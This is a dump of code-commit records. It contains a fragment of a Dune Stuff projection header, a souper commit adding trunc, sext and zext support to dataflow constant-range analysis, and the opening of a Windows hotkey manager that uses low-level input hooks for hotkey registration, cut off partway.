DiscFuncType::DiscreteFunctionSpaceType::GridPartType::GridType::dimension;\n std::vector<int> nodeToEntity(func.space().gridPart().grid().size(dimension), 0);\n identifySharedNodes(func.space().gridPart(), nodeToEntity);\n\n const auto dend = func.dend();\n auto factorsIt = nodeToEntity.begin();\n for (auto dit = func.dbegin(); dit!=dend; ++dit) {\n assert(factorsIt!=nodeToEntity.end());\n assert(*factorsIt>0);\n *dit \/= *factorsIt;\n ++factorsIt;\n }\n return;\n }\n\n template<class GridPartType, class MapType>\n static void identifySharedNodes(const GridPartType& gridPart, MapType& map) {\n typedef typename GridPartType::GridType GridType;\n const auto& indexSet = gridPart.indexSet();\n\n for (auto& entity : DSC::viewRange(gridPart.grid().leafGridView())) {\n int number_of_nodes_in_entity = entity.template count<GridType::dimension>();\n for (int i = 0; i < number_of_nodes_in_entity; ++i) {\n const auto node = entity.template subEntity<GridType::dimension>(i);\n const auto global_index_node = indexSet.index(*node);\n\n \/\/ make sure we don't access non-existing elements\n assert(map.size() > global_index_node);\n ++map[global_index_node];\n }\n }\n }\n\n};\n#endif \/\/ HAVE_DUNE_FEM\n\n\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_STUFF_DISCRETEFUNCTION_PROJECTION_HETEROGENOUS_HH\n<|endoftext|>"} {"text":"<commit_before>#include \"souper\/Infer\/DataflowPruning.h\"\n\nnamespace souper {\nnamespace {\nusing souper::dataflow::EvalValue;\nusing souper::dataflow::ValueCache;\n\nEvalValue evaluateInstRecursive(souper::Inst* Inst,\n std::vector<EvalValue> args) {\n switch (Inst->K) {\n case souper::Inst::Const:\n return {Inst->Val};\n case souper::Inst::UntypedConst:\n return {Inst->Val};\n case souper::Inst::Var:\n llvm_unreachable(\"Should get value from cache without reaching here\");\n case souper::Inst::Add:\n return {args[0].getValue() + args[1].getValue()};\n case souper::Inst::Sub:\n return {args[0].getValue() - args[1].getValue()};\n case souper::Inst::Mul:\n return {args[0].getValue() * args[1].getValue()};\n case souper::Inst::UDiv:\n return {args[0].getValue().udiv(args[1].getValue())};\n case souper::Inst::SDiv:\n return {args[0].getValue().sdiv(args[1].getValue())};\n case souper::Inst::URem:\n return {args[0].getValue().urem(args[1].getValue())};\n case souper::Inst::SRem:\n return {args[0].getValue().srem(args[1].getValue())};\n case souper::Inst::And:\n return {args[0].getValue() & args[1].getValue()};\n case souper::Inst::Or:\n return {args[0].getValue() | args[1].getValue()};\n case souper::Inst::Xor:\n return {args[0].getValue() ^ args[1].getValue()};\n case souper::Inst::Shl:\n return {args[0].getValue() << args[1].getValue()};\n case souper::Inst::LShr:\n return {args[0].getValue().lshr(args[1].getValue())};\n case souper::Inst::AShr:\n return {args[0].getValue().ashr(args[1].getValue())};\n \/\/ TODO: Handle NSW\/NUW\/NW variants of instructions\n case souper::Inst::Select: {\n if (!args[0].hasValue()) {\n return args[0];\n } else {\n bool cond = args[0].getValue().getBoolValue();\n return cond ? args[1] : args[2];\n }\n }\n case souper::Inst::ZExt:\n return {args[0].getValue().zext(Inst->Width)};\n case souper::Inst::SExt:\n return {args[0].getValue().sext(Inst->Width)};\n case souper::Inst::Trunc:\n return {args[0].getValue().trunc(Inst->Width)};\n case souper::Inst::Eq:\n return {{1, args[0].getValue() == args[1].getValue()}};\n case souper::Inst::Ne:\n return {{1, args[0].getValue() != args[1].getValue()}};\n case souper::Inst::Ult:\n return {{1, args[0].getValue().ult(args[1].getValue())}};\n case souper::Inst::Slt:\n return {{1, args[0].getValue().slt(args[1].getValue())}};\n case souper::Inst::Ule:\n return {{1, args[0].getValue().ule(args[1].getValue())}};\n case souper::Inst::Sle:\n return {{1, args[0].getValue().sle(args[1].getValue())}};\n case souper::Inst::CtPop:\n return {llvm::APInt(Inst->Width, args[0].getValue().countPopulation())};\n case souper::Inst::Ctlz:\n return {llvm::APInt(Inst->Width,\n args[0].getValue().countLeadingZeros())};\n case souper::Inst::Cttz:\n return {llvm::APInt(Inst->Width,\n args[0].getValue().countTrailingZeros())};\n case souper::Inst::BSwap:\n return {args[0].getValue().byteSwap()};\n default:\n return EvalValue(); \/\/ Indicates an 'unavailable' value\n }\n}\n}\n\n\/\/ Errs on the side of an 'unavailable' result\n\/\/ TODO: Some instructions unimplemented\nEvalValue souper::dataflow::evaluateInst(souper::Inst* Root,\n ValueCache &Cache) {\n std::vector<EvalValue> EvaluatedArgs;\n EvalValue Result;\n\n if (Root->K == souper::Inst::Var) {\n Result = Cache[Root];\n } else {\n for (auto &&I : Root->Ops) {\n auto eval = evaluateInst(I, Cache);\n if (!eval.hasValue() && Root->K != souper::Inst::Select) {\n return Result;\n \/\/ result is `Unavailable` if args fail to evaluate\n }\n EvaluatedArgs.push_back(eval);\n }\n Result = evaluateInstRecursive(Root, EvaluatedArgs);\n }\n return Result;\n}\n\nEvalValue getValue(Inst *I, ValueCache &C) {\n if (I->K == souper::Inst::Const) {\n return {I->Val};\n } else if (I->K == souper::Inst::Var\n || I->K == souper::Inst::ReservedConst\n || I->K == souper::Inst::ReservedInst) {\n if (I->Name != \"\" && C.find(I) != C.end()) {\n return C[I];\n } else {\n return EvalValue(); \/\/ unavailable\n }\n }\n return EvalValue();\n}\n\nllvm::KnownBits dataflow::findKnownBits(Inst* I, ValueCache& C) {\n llvm::KnownBits Result(I->Width);\n switch(I->K) {\n case souper::Inst::Const:\n case souper::Inst::Var : {\n EvalValue V = getValue(I, C);\n if (V.hasValue()) {\n Result.One = V.getValue();\n Result.Zero = ~V.getValue();\n return Result;\n } else {\n return Result;\n }\n }\n case souper::Inst::Shl : {\n auto Op0KB = findKnownBits(I->Ops[0], C);\n auto Op1V = getValue(I->Ops[1], C);\n if (Op1V.hasValue()) {\n Op0KB.One <<= Op1V.getValue();\n Op0KB.Zero <<= Op1V.getValue();\n Op0KB.Zero.setLowBits(Op1V.getValue().getLimitedValue());\n \/\/ setLowBits takes an unsiged int, so getLimitedValue is harmless\n return Op0KB;\n } else {\n return Result;\n }\n }\n case souper::Inst::And : {\n auto Op0KB = findKnownBits(I->Ops[0], C);\n auto Op1KB = findKnownBits(I->Ops[1], C);\n\n Op0KB.One &= Op1KB.One;\n Op0KB.Zero |= Op1KB.Zero;\n return Op0KB;\n }\n case souper::Inst::Or : {\n auto Op0KB = findKnownBits(I->Ops[0], C);\n auto Op1KB = findKnownBits(I->Ops[1], C);\n\n Op0KB.One |= Op1KB.One;\n Op0KB.Zero &= Op1KB.Zero;\n return Op0KB;\n }\n case souper::Inst::Xor : {\n auto Op0KB = findKnownBits(I->Ops[0], C);\n auto Op1KB = findKnownBits(I->Ops[1], C);\n llvm::APInt KnownZeroOut =\n (Op0KB.Zero & Op1KB.Zero) | (Op0KB.One & Op1KB.One);\n Op0KB.One = (Op0KB.Zero & Op1KB.One) | (Op0KB.One & Op1KB.Zero);\n Op0KB.Zero = std::move(KnownZeroOut);\n \/\/ ^ logic copied from LLVM ValueTracking.cpp\n return Op0KB;\n }\n default :\n return Result;\n }\n}\n\nllvm::ConstantRange dataflow::findConstantRange(souper::Inst* I,\n souper::ValueCache& C) {\n llvm::ConstantRange result(I->Width);\n switch (I->K) {\n case souper::Inst::Const:\n case souper::Inst::Var : {\n EvalValue V = getValue(I, C);\n if (V.hasValue()) {\n return llvm::ConstantRange(V.getValue());\n } else {\n return result; \/\/ Whole range\n }\n }\n case souper::Inst::Add: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.add(R1);\n }\n case souper::Inst::AddNSW: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto V1 = getValue(I->Ops[1], C);\n if (V1.hasValue()) {\n return R0.addWithNoSignedWrap(V1.getValue());\n } else {\n return result; \/\/ full range, can we do better?\n }\n }\n case souper::Inst::Sub: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.sub(R1);\n }\n case souper::Inst::Mul: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.multiply(R1);\n }\n case souper::Inst::And: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.binaryAnd(R1);\n }\n case souper::Inst::Or: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.binaryOr(R1);\n }\n case souper::Inst::Shl: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.shl(R1);\n }\n case souper::Inst::AShr: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.ashr(R1);\n }\n case souper::Inst::LShr: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.lshr(R1);\n }\n case souper::Inst::UDiv: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.udiv(R1);\n }\n\/\/ case souper::Inst::SDiv: {\n\/\/ auto R0 = FindConstantRange(I->Ops[0], C);\n\/\/ auto R1 = FindConstantRange(I->Ops[1], C);\n\/\/ return R0.sdiv(R1); \/\/ unimplemented\n\/\/ }\n \/\/ TODO: Xor pattern for not, truncs and extends, etc\n default:\n return result;\n }\n}\n\nbool dataflow::ValueAnalysis::isInfeasible(souper::Inst* RHS) {\n for (int I = 0; I < Inputs.size(); ++I) {\n auto C = LHSValues[I];\n if (C.hasValue()) {\n auto CR = findConstantRange(RHS, Inputs[I]);\n if (!CR.contains(C.getValue())) {\n return true;\n }\n auto KB = findKnownBits(RHS, Inputs[I]);\n if ((KB.Zero & C.getValue()) != 0 || (KB.One & ~C.getValue()) != 0) {\n return true;\n }\n\n auto RHSV = evaluateInst(RHS, Inputs[I]);\n if (RHSV.hasValue()) {\n if (C.getValue() != RHSV.getValue()) {\n return true;\n }\n }\n }\n }\n return false;\n}\ndataflow::DataflowPruningManager::DataflowPruningManager(\n souper::Inst* LHS, std::vector<Inst *> &Inputs, unsigned StatsLevel)\n : VA(LHS, generateInputSets(Inputs)), NumPruned(0), TotalGuesses(0) {\n if (StatsLevel > 1) {\n DataflowPrune= [this](Inst *I, std::vector<Inst *> &RI) {\n TotalGuesses++;\n if (VA.isInfeasible(I)) {\n NumPruned++;\n llvm::outs() << \"Dataflow Pruned \"\n << NumPruned << \"\/\" << TotalGuesses << \"\\n\";\n ReplacementContext RC;\n RC.printInst(I, llvm::outs(), true);\n return false;\n }\n return true;\n };\n } else if (StatsLevel == 1) {\n DataflowPrune= [this](Inst *I, std::vector<Inst *> &RI) {\n TotalGuesses++;\n if (VA.isInfeasible(I)) {\n NumPruned++;\n return false;\n }\n return true;\n };\n } else {\n DataflowPrune= [this](Inst *I, std::vector<Inst *> &RI) {\n return !VA.isInfeasible(I);\n };\n }\n}\n\nstd::vector<ValueCache> dataflow::DataflowPruningManager::generateInputSets(\n std::vector<Inst *> &Inputs) {\n std::vector<dataflow::ValueCache> InputSets;\n\n dataflow::ValueCache Cache;\n int64_t Current = 0;\n for (auto &&I : Inputs) {\n if (I->K == souper::Inst::Var)\n Cache[I] = {llvm::APInt(I->Width, Current++)};\n }\n InputSets.push_back(Cache);\n\n Current = 2*Current + 1;\n for (auto &&I : Inputs) {\n if (I->K == souper::Inst::Var)\n Cache[I] = {llvm::APInt(I->Width, Current++)};\n }\n InputSets.push_back(Cache);\n\n return InputSets;\n}\n\n}\n<commit_msg>Support trunc, sext, zext in findConstantRange<commit_after>#include \"souper\/Infer\/DataflowPruning.h\"\n\nnamespace souper {\nnamespace {\nusing souper::dataflow::EvalValue;\nusing souper::dataflow::ValueCache;\n\nEvalValue evaluateInstRecursive(souper::Inst* Inst,\n std::vector<EvalValue> args) {\n switch (Inst->K) {\n case souper::Inst::Const:\n return {Inst->Val};\n case souper::Inst::UntypedConst:\n return {Inst->Val};\n case souper::Inst::Var:\n llvm_unreachable(\"Should get value from cache without reaching here\");\n case souper::Inst::Add:\n return {args[0].getValue() + args[1].getValue()};\n case souper::Inst::Sub:\n return {args[0].getValue() - args[1].getValue()};\n case souper::Inst::Mul:\n return {args[0].getValue() * args[1].getValue()};\n case souper::Inst::UDiv:\n return {args[0].getValue().udiv(args[1].getValue())};\n case souper::Inst::SDiv:\n return {args[0].getValue().sdiv(args[1].getValue())};\n case souper::Inst::URem:\n return {args[0].getValue().urem(args[1].getValue())};\n case souper::Inst::SRem:\n return {args[0].getValue().srem(args[1].getValue())};\n case souper::Inst::And:\n return {args[0].getValue() & args[1].getValue()};\n case souper::Inst::Or:\n return {args[0].getValue() | args[1].getValue()};\n case souper::Inst::Xor:\n return {args[0].getValue() ^ args[1].getValue()};\n case souper::Inst::Shl:\n return {args[0].getValue() << args[1].getValue()};\n case souper::Inst::LShr:\n return {args[0].getValue().lshr(args[1].getValue())};\n case souper::Inst::AShr:\n return {args[0].getValue().ashr(args[1].getValue())};\n \/\/ TODO: Handle NSW\/NUW\/NW variants of instructions\n case souper::Inst::Select: {\n if (!args[0].hasValue()) {\n return args[0];\n } else {\n bool cond = args[0].getValue().getBoolValue();\n return cond ? args[1] : args[2];\n }\n }\n case souper::Inst::ZExt:\n return {args[0].getValue().zext(Inst->Width)};\n case souper::Inst::SExt:\n return {args[0].getValue().sext(Inst->Width)};\n case souper::Inst::Trunc:\n return {args[0].getValue().trunc(Inst->Width)};\n case souper::Inst::Eq:\n return {{1, args[0].getValue() == args[1].getValue()}};\n case souper::Inst::Ne:\n return {{1, args[0].getValue() != args[1].getValue()}};\n case souper::Inst::Ult:\n return {{1, args[0].getValue().ult(args[1].getValue())}};\n case souper::Inst::Slt:\n return {{1, args[0].getValue().slt(args[1].getValue())}};\n case souper::Inst::Ule:\n return {{1, args[0].getValue().ule(args[1].getValue())}};\n case souper::Inst::Sle:\n return {{1, args[0].getValue().sle(args[1].getValue())}};\n case souper::Inst::CtPop:\n return {llvm::APInt(Inst->Width, args[0].getValue().countPopulation())};\n case souper::Inst::Ctlz:\n return {llvm::APInt(Inst->Width,\n args[0].getValue().countLeadingZeros())};\n case souper::Inst::Cttz:\n return {llvm::APInt(Inst->Width,\n args[0].getValue().countTrailingZeros())};\n case souper::Inst::BSwap:\n return {args[0].getValue().byteSwap()};\n default:\n return EvalValue(); \/\/ Indicates an 'unavailable' value\n }\n}\n}\n\n\/\/ Errs on the side of an 'unavailable' result\n\/\/ TODO: Some instructions unimplemented\nEvalValue souper::dataflow::evaluateInst(souper::Inst* Root,\n ValueCache &Cache) {\n std::vector<EvalValue> EvaluatedArgs;\n EvalValue Result;\n\n if (Root->K == souper::Inst::Var) {\n Result = Cache[Root];\n } else {\n for (auto &&I : Root->Ops) {\n auto eval = evaluateInst(I, Cache);\n if (!eval.hasValue() && Root->K != souper::Inst::Select) {\n return Result;\n \/\/ result is `Unavailable` if args fail to evaluate\n }\n EvaluatedArgs.push_back(eval);\n }\n Result = evaluateInstRecursive(Root, EvaluatedArgs);\n }\n return Result;\n}\n\nEvalValue getValue(Inst *I, ValueCache &C) {\n if (I->K == souper::Inst::Const) {\n return {I->Val};\n } else if (I->K == souper::Inst::Var\n || I->K == souper::Inst::ReservedConst\n || I->K == souper::Inst::ReservedInst) {\n if (I->Name != \"\" && C.find(I) != C.end()) {\n return C[I];\n } else {\n return EvalValue(); \/\/ unavailable\n }\n }\n return EvalValue();\n}\n\nllvm::KnownBits dataflow::findKnownBits(Inst* I, ValueCache& C) {\n llvm::KnownBits Result(I->Width);\n switch(I->K) {\n case souper::Inst::Const:\n case souper::Inst::Var : {\n EvalValue V = getValue(I, C);\n if (V.hasValue()) {\n Result.One = V.getValue();\n Result.Zero = ~V.getValue();\n return Result;\n } else {\n return Result;\n }\n }\n case souper::Inst::Shl : {\n auto Op0KB = findKnownBits(I->Ops[0], C);\n auto Op1V = getValue(I->Ops[1], C);\n if (Op1V.hasValue()) {\n Op0KB.One <<= Op1V.getValue();\n Op0KB.Zero <<= Op1V.getValue();\n Op0KB.Zero.setLowBits(Op1V.getValue().getLimitedValue());\n \/\/ setLowBits takes an unsiged int, so getLimitedValue is harmless\n return Op0KB;\n } else {\n return Result;\n }\n }\n case souper::Inst::And : {\n auto Op0KB = findKnownBits(I->Ops[0], C);\n auto Op1KB = findKnownBits(I->Ops[1], C);\n\n Op0KB.One &= Op1KB.One;\n Op0KB.Zero |= Op1KB.Zero;\n return Op0KB;\n }\n case souper::Inst::Or : {\n auto Op0KB = findKnownBits(I->Ops[0], C);\n auto Op1KB = findKnownBits(I->Ops[1], C);\n\n Op0KB.One |= Op1KB.One;\n Op0KB.Zero &= Op1KB.Zero;\n return Op0KB;\n }\n case souper::Inst::Xor : {\n auto Op0KB = findKnownBits(I->Ops[0], C);\n auto Op1KB = findKnownBits(I->Ops[1], C);\n llvm::APInt KnownZeroOut =\n (Op0KB.Zero & Op1KB.Zero) | (Op0KB.One & Op1KB.One);\n Op0KB.One = (Op0KB.Zero & Op1KB.One) | (Op0KB.One & Op1KB.Zero);\n Op0KB.Zero = std::move(KnownZeroOut);\n \/\/ ^ logic copied from LLVM ValueTracking.cpp\n return Op0KB;\n }\n default :\n return Result;\n }\n}\n\nllvm::ConstantRange dataflow::findConstantRange(souper::Inst* I,\n souper::ValueCache& C) {\n llvm::ConstantRange result(I->Width);\n switch (I->K) {\n case souper::Inst::Const:\n case souper::Inst::Var : {\n EvalValue V = getValue(I, C);\n if (V.hasValue()) {\n return llvm::ConstantRange(V.getValue());\n } else {\n return result; \/\/ Whole range\n }\n }\n case souper::Inst::Trunc: {\n auto R0 = findConstantRange(I->Ops[0], C);\n return R0.truncate(I->Width);\n }\n case souper::Inst::SExt: {\n auto R0 = findConstantRange(I->Ops[0], C);\n return R0.signExtend(I->Width);\n }\n case souper::Inst::ZExt: {\n auto R0 = findConstantRange(I->Ops[0], C);\n return R0.zeroExtend(I->Width);\n }\n case souper::Inst::Add: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.add(R1);\n }\n case souper::Inst::AddNSW: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto V1 = getValue(I->Ops[1], C);\n if (V1.hasValue()) {\n return R0.addWithNoSignedWrap(V1.getValue());\n } else {\n return result; \/\/ full range, can we do better?\n }\n }\n case souper::Inst::Sub: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.sub(R1);\n }\n case souper::Inst::Mul: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.multiply(R1);\n }\n case souper::Inst::And: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.binaryAnd(R1);\n }\n case souper::Inst::Or: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.binaryOr(R1);\n }\n case souper::Inst::Shl: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.shl(R1);\n }\n case souper::Inst::AShr: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.ashr(R1);\n }\n case souper::Inst::LShr: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.lshr(R1);\n }\n case souper::Inst::UDiv: {\n auto R0 = findConstantRange(I->Ops[0], C);\n auto R1 = findConstantRange(I->Ops[1], C);\n return R0.udiv(R1);\n }\n\/\/ case souper::Inst::SDiv: {\n\/\/ auto R0 = FindConstantRange(I->Ops[0], C);\n\/\/ auto R1 = FindConstantRange(I->Ops[1], C);\n\/\/ return R0.sdiv(R1); \/\/ unimplemented\n\/\/ }\n \/\/ TODO: Xor pattern for not, truncs and extends, etc\n default:\n return result;\n }\n}\n\nbool dataflow::ValueAnalysis::isInfeasible(souper::Inst* RHS) {\n for (int I = 0; I < Inputs.size(); ++I) {\n auto C = LHSValues[I];\n if (C.hasValue()) {\n auto CR = findConstantRange(RHS, Inputs[I]);\n if (!CR.contains(C.getValue())) {\n return true;\n }\n auto KB = findKnownBits(RHS, Inputs[I]);\n if ((KB.Zero & C.getValue()) != 0 || (KB.One & ~C.getValue()) != 0) {\n return true;\n }\n\n auto RHSV = evaluateInst(RHS, Inputs[I]);\n if (RHSV.hasValue()) {\n if (C.getValue() != RHSV.getValue()) {\n return true;\n }\n }\n }\n }\n return false;\n}\ndataflow::DataflowPruningManager::DataflowPruningManager(\n souper::Inst* LHS, std::vector<Inst *> &Inputs, unsigned StatsLevel)\n : VA(LHS, generateInputSets(Inputs)), NumPruned(0), TotalGuesses(0) {\n if (StatsLevel > 1) {\n DataflowPrune= [this](Inst *I, std::vector<Inst *> &RI) {\n TotalGuesses++;\n if (VA.isInfeasible(I)) {\n NumPruned++;\n llvm::outs() << \"Dataflow Pruned \"\n << NumPruned << \"\/\" << TotalGuesses << \"\\n\";\n ReplacementContext RC;\n RC.printInst(I, llvm::outs(), true);\n return false;\n }\n return true;\n };\n } else if (StatsLevel == 1) {\n DataflowPrune= [this](Inst *I, std::vector<Inst *> &RI) {\n TotalGuesses++;\n if (VA.isInfeasible(I)) {\n NumPruned++;\n return false;\n }\n return true;\n };\n } else {\n DataflowPrune= [this](Inst *I, std::vector<Inst *> &RI) {\n return !VA.isInfeasible(I);\n };\n }\n}\n\nstd::vector<ValueCache> dataflow::DataflowPruningManager::generateInputSets(\n std::vector<Inst *> &Inputs) {\n std::vector<dataflow::ValueCache> InputSets;\n\n dataflow::ValueCache Cache;\n int64_t Current = 0;\n for (auto &&I : Inputs) {\n if (I->K == souper::Inst::Var)\n Cache[I] = {llvm::APInt(I->Width, Current++)};\n }\n InputSets.push_back(Cache);\n\n Current = 2*Current + 1;\n for (auto &&I : Inputs) {\n if (I->K == souper::Inst::Var)\n Cache[I] = {llvm::APInt(I->Width, Current++)};\n }\n InputSets.push_back(Cache);\n\n return InputSets;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"HotkeyManager.h\"\n#include \"Logger.h\"\n\nHotkeyManager *HotkeyManager::instance = NULL;\n\nHotkeyManager *HotkeyManager::Instance() {\n return instance;\n}\n\nHotkeyManager *HotkeyManager::Instance(HWND notifyWnd) {\n if (instance == NULL) {\n instance = new HotkeyManager();\n instance->Hook();\n instance->_notifyWnd = notifyWnd;\n }\n\n return instance;\n}\n\nHotkeyManager::HotkeyManager() :\n_fixWin(false) {\n\n}\n\nHotkeyManager::~HotkeyManager() {\n while (true) {\n auto i = _keyCombinations.begin();\n if (_keyCombinations.size() > 0) {\n Unregister(*i);\n } else {\n break;\n }\n }\n\n Unhook();\n}\n\nvoid HotkeyManager::Shutdown() {\n delete instance;\n instance = NULL;\n}\n\nbool HotkeyManager::Hook() {\n _mouseHook = SetWindowsHookEx(WH_MOUSE_LL,\n LowLevelMouseProc, NULL, NULL);\n\n _keyHook = SetWindowsHookEx(WH_KEYBOARD_LL,\n LowLevelKeyboardProc, NULL, NULL);\n\n return _mouseHook && _keyHook;\n}\n\nbool HotkeyManager::Unhook() {\n BOOL unMouse = UnhookWindowsHookEx(_mouseHook);\n BOOL unKey = UnhookWindowsHookEx(_keyHook);\n return unMouse && unKey;\n}\n\nvoid HotkeyManager::Register(int keyCombination) {\n if (_keyCombinations.count(keyCombination) > 0) {\n CLOG(L\"Hotkey combination [%d] already registered\", keyCombination);\n return;\n } else {\n _keyCombinations.insert(keyCombination);\n }\n\n \/* get VK_* value; includes unused bits *\/\n int vk = 0xFFFF & keyCombination;\n\n if ((keyCombination >> 20) > 0 \/* uses a HKM_MOUSE_* flag *\/\n || vk == VK_LBUTTON\n || vk == VK_RBUTTON\n || vk == VK_MBUTTON) {\n\n \/* mouse-based hotkeys; we are done *\/\n CLOG(L\"Registered new mouse-based hotkey: %d\", keyCombination);\n return;\n }\n\n \/* keyboard-only hotkeys; use WinAPI *\/\n int mods = (0xF0000 & keyCombination) >> 16;\n if (!RegisterHotKey(_notifyWnd, keyCombination, mods, vk)) {\n CLOG(L\"Failed to register hotkey [%d]\\n\"\n L\"Mods: %d, VK: %d\", keyCombination, mods, vk);\n return;\n }\n\n CLOG(L\"Registered new keyboard-based hotkey: %d\", keyCombination);\n}\n\nbool HotkeyManager::Unregister(int keyCombination) {\n CLOG(L\"Unregistering hotkey combination: %d\", keyCombination);\n\n if (_keyCombinations.count(keyCombination) <= 0) {\n QCLOG(L\"Hotkey combination [%d] was not previously registered\",\n keyCombination);\n return false;\n }\n\n _keyCombinations.erase(keyCombination);\n if ((keyCombination >> 20) == 0) {\n \/* This hotkey isn't mouse-based; unregister with Windows *\/\n if (!UnregisterHotKey(_notifyWnd, keyCombination)) {\n CLOG(L\"Failed to unregister hotkey: %d\", keyCombination);\n return false;\n }\n }\n return true;\n}\n\nbool HotkeyManager::IsModifier(DWORD vk) {\n switch (vk) {\n case VK_MENU:\n case VK_LMENU:\n case VK_RMENU:\n case VK_CONTROL:\n case VK_LCONTROL:\n case VK_RCONTROL:\n case VK_SHIFT:\n case VK_LSHIFT:\n case VK_RSHIFT:\n case VK_LWIN:\n case VK_RWIN:\n return true;\n }\n return false;\n}\n\nint HotkeyManager::Modifiers() {\n int mods = 0;\n mods += (GetKeyState(VK_MENU) & 0x8000) << 1;\n mods += (GetKeyState(VK_CONTROL) & 0x8000) << 2;\n mods += (GetKeyState(VK_SHIFT) & 0x8000) << 3;\n mods += (GetKeyState(VK_LWIN) & 0x8000) << 4;\n mods += (GetKeyState(VK_RWIN) & 0x8000) << 4;\n return mods;\n}\n\nint HotkeyManager::ModifiersAsync() {\n int mods = 0;\n mods += (GetAsyncKeyState(VK_MENU) & 0x8000) << 1;\n mods += (GetAsyncKeyState(VK_CONTROL) & 0x8000) << 2;\n mods += (GetAsyncKeyState(VK_SHIFT) & 0x8000) << 3;\n mods += (GetAsyncKeyState(VK_LWIN) & 0x8000) << 4;\n mods += (GetAsyncKeyState(VK_RWIN) & 0x8000) << 4;\n return mods;\n}\n\nstd::wstring HotkeyManager::HotkeysToModString(int combination,\n std::wstring separator) {\n\n std::wstring str = L\"\";\n if (combination & HKM_MOD_ALT) {\n str += VKToString(VK_MENU) + separator;\n }\n if (combination & HKM_MOD_CTRL) {\n str += VKToString(VK_CONTROL) + separator;\n }\n if (combination & HKM_MOD_SHF) {\n str += VKToString(VK_SHIFT) + separator;\n }\n if (combination & HKM_MOD_WIN) {\n str += L\"Win\" + separator;\n }\n\n return str;\n}\n\nstd::wstring HotkeyManager::HotkeysToString(int combination,\n std::wstring separator) {\n\n std::wstring mods = HotkeysToModString(combination, separator);\n int vk = combination & 0xFF;\n std::wstring str = VKToString(vk);\n\n return mods + str;\n}\n\nstd::wstring HotkeyManager::VKToString(unsigned int vk, bool extendedKey) {\n int extended = extendedKey ? 0x1 : 0x0;\n\n unsigned int scanCode = MapVirtualKey(vk, MAPVK_VK_TO_VSC);\n scanCode = scanCode << 16;\n scanCode |= extended << 24;\n wchar_t buf[256] = {};\n GetKeyNameText(scanCode, buf, 256);\n return std::wstring(buf);\n}\n\nLRESULT CALLBACK\nHotkeyManager::KeyProc(int nCode, WPARAM wParam, LPARAM lParam) {\n if (nCode >= 0) {\n if (wParam == WM_KEYUP) {\n KBDLLHOOKSTRUCT *kbInfo = (KBDLLHOOKSTRUCT*) lParam;\n if ((kbInfo->vkCode == VK_LWIN || kbInfo->vkCode == VK_RWIN)\n && _fixWin) {\n \/* WIN+Mouse combination used; we need to prevent the\n * system from only seeing a WIN keypress (and usually\n * popping up the start menu). We simulate WIN+VK_NONAME. *\/\n\n INPUT input = { 0 };\n input.type = INPUT_KEYBOARD;\n\n input.ki.wVk = VK_NONAME;\n input.ki.wScan = 0;\n input.ki.dwFlags = 0;\n input.ki.time = 1;\n input.ki.dwExtraInfo = GetMessageExtraInfo();\n\n \/* key down: *\/\n SendInput(1, &input, sizeof(INPUT));\n\n input.ki.dwFlags = KEYEVENTF_KEYUP;\n \/* key up: *\/\n SendInput(1, &input, sizeof(INPUT));\n\n _fixWin = false;\n }\n }\n }\n\n return CallNextHookEx(NULL, nCode, wParam, lParam);\n}\n\nLRESULT CALLBACK\nHotkeyManager::MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {\n if (nCode >= 0) {\n int mouseState = 0;\n MSLLHOOKSTRUCT *msInfo;\n\n switch (wParam) {\n\n case WM_LBUTTONDOWN:\n mouseState += VK_LBUTTON;\n break;\n\n case WM_MBUTTONDOWN:\n mouseState += VK_MBUTTON;\n break;\n\n case WM_RBUTTONDOWN:\n mouseState += VK_RBUTTON;\n break;\n\n case WM_XBUTTONDOWN: {\n msInfo = (MSLLHOOKSTRUCT*) lParam;\n\n int button = msInfo->mouseData >> 16 & 0xFFFF;\n if (button == 1)\n mouseState += HKM_MOUSE_XB1;\n else if (button == 2)\n mouseState += HKM_MOUSE_XB2;\n\n break;\n }\n\n case WM_MOUSEWHEEL: {\n msInfo = (MSLLHOOKSTRUCT*) lParam;\n\n if ((int) msInfo->mouseData > 0) {\n mouseState += HKM_MOUSE_WHUP;\n } else {\n mouseState += HKM_MOUSE_WHDN;\n }\n\n break;\n }\n }\n\n if (mouseState > 0) {\n mouseState += Modifiers();\n\n if (_keyCombinations.count(mouseState) > 0) {\n PostMessage(_notifyWnd, WM_HOTKEY,\n mouseState, mouseState & 0xF0000);\n\n if (mouseState & HKM_MOD_WIN) {\n _fixWin = true; \/* enable fix right before WIN goes up *\/\n }\n\n return 1; \/* processed the message; eat it *\/\n }\n }\n }\n return 